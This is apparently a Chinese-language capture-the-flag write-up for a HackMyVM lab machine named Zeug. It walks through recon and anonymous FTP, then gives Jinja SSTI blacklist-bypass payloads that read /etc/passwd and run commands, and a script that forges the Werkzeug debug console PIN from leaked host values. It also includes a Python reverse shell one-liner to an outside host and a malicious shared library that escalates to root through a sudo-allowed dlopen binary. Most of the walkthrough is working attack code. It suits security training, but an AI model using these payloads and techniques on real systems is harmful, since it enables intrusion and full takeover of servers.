HMV-Zeug

打个靶机

扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
$ sudo nmap -p- --min-rate=10000 <IP>
Nmap scan report for 192.168.124.6
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
5000/tcp open upnp
MAC Address: 08:00:27:8D:5E:6D (Oracle VirtualBox virtual NIC)

# Nmap done at Thu Feb 22 10:23:52 2024 -- 1 IP address (1 host up) scanned in 66.37 seconds

$ $sudo nmap -p21,5000 -sCV <IP>
# ...
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 109 Jan 06 23:14 README.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.124.13
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.1 Python/3.11.2
| Date: Thu, 22 Feb 2024 05:56:24 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 549
| Connection: close

# ...
Service Info: OS: Unix

ftp

anonymous 登录,获得README文件

1
2
3
4
ftp> get README.md

$ cat README.txt
Hi, Cosette, don't forget to disable the debug mode in the web application, we don't want security breaches.

Werkzeug WEB

DEBUG

结合提示,可能是DEBUG模式。访问 /console 路由,但是需要 PIN

SSTI

文件上传,上传html文件解析,但是存在 SSTIPayloadsAllTheThings

网站设置了黑名单

1
2
3
4
5
{{config.items()}}
{{ [].class.base.subclasses() }} # [] subclasses
{{ self.__init__.__globals__.__builtins__ }} # init
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
{{ lipsum.__globals__["os"].popen('id').read() }} # os popen

PIN码

Werkzeug / Flask Debug - HackTricks

结合源码,其计算machin_id 的当时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def get_machine_id() -> str | bytes | None:
global _machine_id

if _machine_id is not None:
return _machine_id
def _generate() -> str | bytes | None:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux
  1. Username. /etc/passwd : cosette
  2. Full path of the app. /home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py
  3. MAC address of the target machine. /sys/class/net/enp0s3/address => 08:00:27:8d:5e:6d => 8796756598381
  4. Machine ID : /etc/machine-id=>48329e233f524ec291cce7479927890b && /proc/sys/kernel/random/boot_id=>901d0a34-e4f9-4a52-8a83-3840d0c0bfb1 && /proc/self/cgroup=>0::/system.slice/zeug-app.service).

计算PIN码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import hashlib
from itertools import chain

probably_public_bits = [
'cosette', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/home/cosette/zeug/venv/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'8796756598381',
'48329e233f524ec291cce7479927890bzeug-app.service'
]

# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

然后得到PIN码,进入DEBUG终端,使用python reverse shell

1
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

升级pty

1
2
3
4
5
6
python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session)
CTRL+Z

stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

权限提升

可以执行seed程序

1
2
3
4
5
6
7
8
cosette@zeug:~$ sudo -l
Matching Defaults entries for cosette on zeug:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User cosette may run the following commands on zeug:
(exia) NOPASSWD: /home/exia/seed

seed_bak: 备份,这里是个伪随机数,v5是个固定值0x6b8b4567,因此我们可以明确的得到答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h] BYREF
int v5; // [rsp+10h] [rbp-10h]
int v6; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
banner(argc, argv, envp);
srand(1u);
v5 = rand();
v6 = 0xDEADBEEF;
v4 = 0;
printf("Enter a number: ");
__isoc99_scanf("%d", &v4);
if ( v6 == (v5 ^ v4) )
system("/bin/bash");
else
puts("Wrong.");
return 0;
}

然后输入密码获得shell

1
sudo -u exia /home/exia/seed

提权到root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
exia@zeug:/dev/shm$ sudo -l
Matching Defaults entries for exia on zeug:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User exia may run the following commands on zeug:
(root) NOPASSWD: /usr/bin/zeug

int __fastcall main(int argc, const char **argv, const char **envp)
{
if ( dlopen("/home/exia/exia.so", 2) )
return 0;
fwrite("Error opening file\n", 1uLL, 0x13uLL, _bss_start);
return 1;
}

dlopen :Linux Privilege Escalation

1
2
3
4
5
6
7
8
9
10
11
12
// gcc -fPIC -shared -o pe.so pe.c -nostartfiles
// sudo -u root /usr/bin/zeug
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}